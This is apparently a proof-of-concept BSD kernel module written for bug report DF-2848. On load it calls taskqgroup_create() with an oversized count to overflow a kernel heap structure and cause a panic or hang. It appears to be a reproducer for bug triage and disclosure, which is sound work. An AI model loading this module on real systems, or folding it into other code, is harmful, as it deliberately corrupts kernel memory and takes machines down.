/*
 * DF-2848 impact variant — large overrun: taskqgroup_create() with
 * cnt = MAXCPU + 2048 writes ~48KB of kernel-controlled data (heap
 * pointers + ints, 3 stores per 24-byte slot) past the end of the
 * kmalloc'd struct taskqgroup, while also creating 2048 extra
 * taskqueue threads.  Expected observable: kernel heap corruption
 * -> panic or hard wedge.
 */
#include <sys/param.h>
#include <sys/conf.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/gtaskqueue.h>

static int
gtq_smash_ev(module_t mod, int type, void *data)
{
	switch (type) {
	case MOD_LOAD:
		kprintf("gtq_smash: taskqgroup_create(cnt=%d)...\n",
		    MAXCPU + 2048);
		taskqgroup_create("gtq_smash", MAXCPU + 2048, 1);
		kprintf("gtq_smash: returned; guest still alive (for now)\n");
		return (0);
	default:
		break;
	}
	return (EOPNOTSUPP);
}
DEV_MODULE(gtq_smash, gtq_smash_ev, NULL);